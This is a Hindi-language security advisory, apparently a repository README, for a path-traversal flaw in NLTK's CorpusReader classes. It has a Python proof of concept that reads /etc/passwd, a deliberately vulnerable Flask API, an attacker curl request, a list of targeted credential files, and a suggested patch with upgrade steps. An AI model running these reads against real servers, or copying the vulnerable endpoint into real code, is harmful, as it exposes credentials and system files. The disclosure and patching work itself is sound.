CVE-2026-0847 — NLTK की एकाधिक CorpusReader क्लासें: पाथ ट्रैवर्सल के माध्यम से मनमानी फ़ाइल पढ़ना

अवलोकन

विवरण

NLTK लाइब्रेरी में कई CorpusReader क्लासें बिना किसी पाथ कैननिकलाइज़ेशन, अनुमत-सूची सत्यापन, या सैंडबॉक्स प्रतिबंधों को लागू किए फ़ाइल पाथ तर्क स्वीकार करती हैं। जब कोई आक्रमणकर्ता कॉर्पस फ़ाइलनाम या फ़ाइल इनपुट को नियंत्रित करता है — जो मशीन लर्निंग APIs, अपलोड-आधारित NLP पाइपलाइनों और चैटबॉट सेवाओं में एक सामान्य परिदृश्य है — तो वे निर्देशिका पदानुक्रम को ट्रैवर्स करने और सर्वर पर मनमानी फ़ाइलें पढ़ने के लिए एक क्राफ्टेड पाथ प्रदान कर सकते हैं।

यह भेद्यता विशेष रूप से नेटवर्कयुक्त परिनियोजनों में गंभीर है जहाँ NLTK उपयोगकर्ता-नियंत्रित फ़ाइल पाथ को संसाधित करता है, क्योंकि इसका दोहन करने के लिए कोई प्रमाणीकरण या विशेषाधिकार आवश्यक नहीं है।

प्रभावित घटक

ये तीनों क्लासें एक ही असुरक्षित CorpusReader.open() विधि को इनहेरिट करती हैं, जो प्रदान किए गए फ़ाइल पहचानकर्ता को हल करने और पढ़ने से पहले कोई पाथ प्रतिबंध नहीं लगाती है।

प्रभाव

इस भेद्यता के सफल दोहन के परिणामस्वरूप निम्नलिखित हो सकता है:

• मनमानी फ़ाइल पढ़ना — कोई आक्रमणकर्ता NLTK चलाने वाली प्रक्रिया के लिए सुलभ किसी भी फ़ाइल को पढ़ सकता है, जिसमें /etc/passwd, /etc/shadow, और /var/log/auth.log शामिल हैं
• क्रेडेंशियल और गोपनीय डेटा का रिसाव — SSH निजी कुंजियाँ (~/.ssh/id_rsa), .env फ़ाइलें, API टोकन और क्लाउड क्रेडेंशियल फ़ाइलें निकाली जा सकती हैं
• स्रोत कोड और प्रशिक्षण डेटा का खुलासा — अन्य उपयोगकर्ताओं का प्रशिक्षण डेटा या स्वामित्व वाला एप्लिकेशन स्रोत कोड पढ़ा जा सकता है
• रिमोट कोड निष्पादन (चेन्ड) — जब pickle-डिसीरियलाइज़ेशन भेद्यताओं के साथ जोड़ा जाता है, तो पाथ ट्रैवर्सल का उपयोग दुर्भावनापूर्ण मॉडल फ़ाइलें लोड करने और पूर्ण RCE तक बढ़ाने के लिए किया जा सकता है
• पार्श्व संचलन (लैटरल मूवमेंट) — माइक्रोसर्विस वातावरणों में, निकाले गए रहस्यों (secrets) को पार्श्व संचलन और पूर्ण सर्वर समझौता सक्षम करते हुए देखा गया है

प्रूफ ऑफ कॉन्सेप्ट

यह जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। उन सिस्टमों पर परीक्षण न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

प्रत्यक्ष API के माध्यम से स्थानीय फ़ाइल पढ़ना

# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

आउटपुट (संक्षिप्त):

--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

रिमोट एक्सप्लॉइट परिदृश्य — असुरक्षित Flask API

एक यथार्थवादी परिदृश्य जहाँ NLTK एक HTTP API के माध्यम से उजागर होता है:

# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

आक्रमणकर्ता अनुरोध:

curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

परिणाम: /etc/passwd की पूरी सामग्री बिना किसी प्रमाणीकरण के आक्रमणकर्ता को लौटा दी जाती है।

मूल कारण

यह भेद्यता CorpusReader.open() में उत्पन्न होती है। यह विधि प्रदान किए गए fileid को FileSystemPathPointer.join() का उपयोग करके कॉन्फ़िगर किए गए रूट पाथ के विरुद्ध सीधे हल करती है, बिना निम्नलिखित में से कोई भी जाँच किए:

• निरपेक्ष पाथ (absolute path) अस्वीकृति
• पैरेंट निर्देशिका ट्रैवर्सल (..) का पता लगाना
• कॉर्पस रूट के भीतर सीमा लागू करने के लिए पाथ सामान्यीकरण और तुलना

चूँकि FileSystemPathPointer को / के साथ आरंभ किया जा सकता है, इसलिए फ़ाइलनाम तर्क को नियंत्रित करने वाले आक्रमणकर्ता के पास पूरे फ़ाइल सिस्टम तक अप्रतिबंधित पढ़ने की पहुँच होती है।

सुझाया गया पैच

शोधकर्ता द्वारा प्रस्तावित न्यूनतम सुधार, जिसे CorpusReader.open() के अंदर लागू किया जाना है:

import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

अपस्ट्रीम फिक्स PR यहाँ उपलब्ध है: https://github.com/nltk/nltk/pull/3479

निवारण

pip के माध्यम से अपग्रेड करें:

pip install --upgrade nltk

स्थापित संस्करण सत्यापित करें:

python -c "import nltk; print(nltk.__version__)"

समयरेखा

संदर्भ

अस्वीकरण

यह रिपॉज़िटरी CVE-2026-0847 को विशेष रूप से शैक्षिक, शोध और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रलेखित करती है। प्रूफ-ऑफ-कॉन्सेप्ट कोड और तकनीकी विवरण डेवलपर्स, सुरक्षा इंजीनियरों और सिस्टम प्रशासकों को इस भेद्यता को समझने, मूल्यांकन करने और ठीक करने में सहायता करने के लिए प्रदान किए गए हैं।

स्पष्ट प्राधिकरण के बिना सिस्टमों तक पहुँचने के लिए इस जानकारी का कोई भी उपयोग अवैध और अनैतिक है। लेखक यहाँ निहित जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं मानता है।

योगदानकर्ता @mohitf070304